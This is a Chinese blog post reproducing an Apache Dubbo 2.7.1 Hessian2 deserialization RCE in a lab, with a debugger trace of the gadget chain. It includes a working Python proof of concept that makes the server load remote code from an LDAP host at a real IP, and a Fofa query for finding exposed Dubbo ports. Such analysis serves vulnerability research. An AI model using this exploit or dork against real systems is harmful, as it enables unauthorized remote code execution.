Apache Dubbo个人复现

文件下载

首先git上下载包。

clonelink
1
2
3
git clone https://github.com/apache/dubbo-spring-boot-project
cd dubbo-spring-boot-project
git checkout 2.7.1 -b b2.7.1

将整个项目导入IDEA

image-20200707102043057

PS:在dubbo-spring-boot-samples/auto-configure-samples/provider-sample/pom.xml需要有如下依赖

com.rometools rome 1.7.0

image-20200707105424065

这里有几个坑,也值得学习:

  1. 直接打开项目没有Project文件只显示个pom

    solved:配置项目,File—Project Structure–Modules–增加项目目录

  2. Spring-Boot无法识别到主类

    solved:全部导入后识别到5个主类入口

    image-20200707105657506

    只能选择DubboExternalizedConfigurationProviderBootstrap,否则会报错。

启动环境

搭建完成直接启动环境即可

image-20200707105800961

攻击Dubbo服务

dubbo默认运行在12345端口,这里可通过dubbo-spring-boot-samples\externalized-configuration-samples\provider-sample\src\main\resources\application.properties进行修改,这里我修改为了12317端口。

image-20200707110005736

image-20200707110028802

由于dubbo开放的端口不包含WEB服务,因此对于Fofa的dork为:port:12345 && protocol != “http” && protocol != “https”

代码执行问题

com.sun.rowset.JdbcRowSetImpl在JDK 6u132, 7u122, or 8u113及之后的版本被修复了,可以换低版本jdk尝试。

因此如果想看到弹窗需要使用<8u113(dubbo不兼容7版本)

image-20200707121941311

使用8u202现象,可用发起ldap请求,但是Send LDAP reference result返回后不会请求Exploit.class文件:

image-20200707122050177

image-20200707122107804

遂使用8u66:

image-20200707123233691

image-20200707123754474

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient

client = DubboClient('127.0.0.1', 12345)

JdbcRowSetImpl=new_object(
'com.sun.rowset.JdbcRowSetImpl',
dataSource="ldap://120.79.91.29:9999/Exploit",
strMatchColumns=["foo"]
)
JdbcRowSetImplClass=new_object(
'java.lang.Class',
name="com.sun.rowset.JdbcRowSetImpl",
)
toStringBean=new_object(
'com.rometools.rome.feed.impl.ToStringBean',
beanClass=JdbcRowSetImplClass,
obj=JdbcRowSetImpl
)

resp = client.send_request_and_return_response(
service_name='org.apache.dubbo.spring.boot.demo.consumer.DemoService',
method_name='rce',
args=[toStringBean])

代码分析

在如下报错代码断点org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol#getInvoker

image-20200707135935340

org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode(org.apache.dubbo.remoting.Channel, java.io.InputStream) 48行

image-20200707140236728

继续跟入F7进入org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode(org.apache.dubbo.remoting.Channel, java.io.InputStream)函数

image-20200707140514456

在89行存在readObject函数,但是注意这里是CodecSupport.getSerialization对象取得的,而不是ObjectInputStream的readObject,用了多态让父类型ObjectInput来接的,跟进89行的in.readObject,进入到了

org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectInput#readObject(java.lang.Class)

可知CodecSupport.getSerialization返回的对象是Hessian2ObjectInput,再继而调了com.alibaba.com.caucho.hessian.io.Hessian2Input#readObject(java.lang.Class)

image-20200707141133715

当前反序列化链:

1
2
3
4
5
org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode(org.apache.dubbo.remoting.Channel, java.io.InputStream)
org.apache.dubbo.common.serialize.Serialization
org.apache.dubbo.common.serialize.hessian2.Hessian2Serialization#deserialize
org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectInput
com.alibaba.com.caucho.hessian.io.Hessian2Input#readObject(java.lang.Class, java.lang.Class<?>...)

在com.alibaba.com.caucho.hessian.io.Hessian2Input#readObject(java.lang.Class)继续调用自身三参数的readObject,在1877打个断点,后面涉及switch

image-20200707141617388

进入1880的return this.readObject(expectedClass),在该文件重复调用几次readObject后返回

image-20200707141727446

进入com.alibaba.com.caucho.hessian.io.JavaDeserializer.ObjectFieldDeserializer

image-20200707142129558

当前反序列化链:

1
2
3
4
5
6
org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode(org.apache.dubbo.remoting.Channel, java.io.InputStream)
org.apache.dubbo.common.serialize.Serialization
org.apache.dubbo.common.serialize.hessian2.Hessian2Serialization#deserialize
org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectInput
com.alibaba.com.caucho.hessian.io.Hessian2Input#readObject(java.lang.Class, java.lang.Class<?>...)
com.alibaba.com.caucho.hessian.io.JavaDeserializer.ObjectFieldDeserializer 613行

in是com.alibaba.com.caucho.hessian.io.JavaDeserializer的实例,进入后调用JavaDeserializer.FieldDeserializer的deserialize方法image-20200707142701527

然后循环进入switch、最后在case127出去,进入2004行com.alibaba.com.caucho.hessian.io.Hessian2Input#findSerializerFactory

image-20200707143216372

image-20200707143358068

返回com/alibaba/com/caucho/hessian/io/Hessian2Input.class:2005

image-20200707143549826

返回后来到com.alibaba.com.caucho.hessian.io.JavaDeserializer#readObject(com.alibaba.com.caucho.hessian.io.AbstractHessianInput, java.lang.Object, java.lang.String[])

image-20200707143725584

得到反序列化链

1
2
3
4
5
6
7
8
9
org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode(org.apache.dubbo.remoting.Channel, java.io.InputStream)
org.apache.dubbo.common.serialize.Serialization
org.apache.dubbo.common.serialize.hessian2.Hessian2Serialization#deserialize
org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectInput
com.alibaba.com.caucho.hessian.io.Hessian2Input#readObject(java.lang.Class, java.lang.Class<?>...)
com.alibaba.com.caucho.hessian.io.JavaDeserializer.ObjectFieldDeserializer 613行
com.alibaba.com.caucho.hessian.io.Hessian2Input#findSerializerFactory
com.alibaba.com.caucho.hessian.io.JavaDeserializer#readObject
com.alibaba.com.caucho.hessian.io.JavaDeserializer.ObjectFieldDeserializer 614

本文标题:Apache Dubbo个人复现

文章作者:

发布时间:2020年07月07日 - 09:55:50

最后更新:2020年07月07日 - 14:54:44

原始链接:http://laker.xyz/2020/07/07/Apache-Dubbo%E4%B8%AA%E4%BA%BA%E5%A4%8D%E7%8E%B0/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。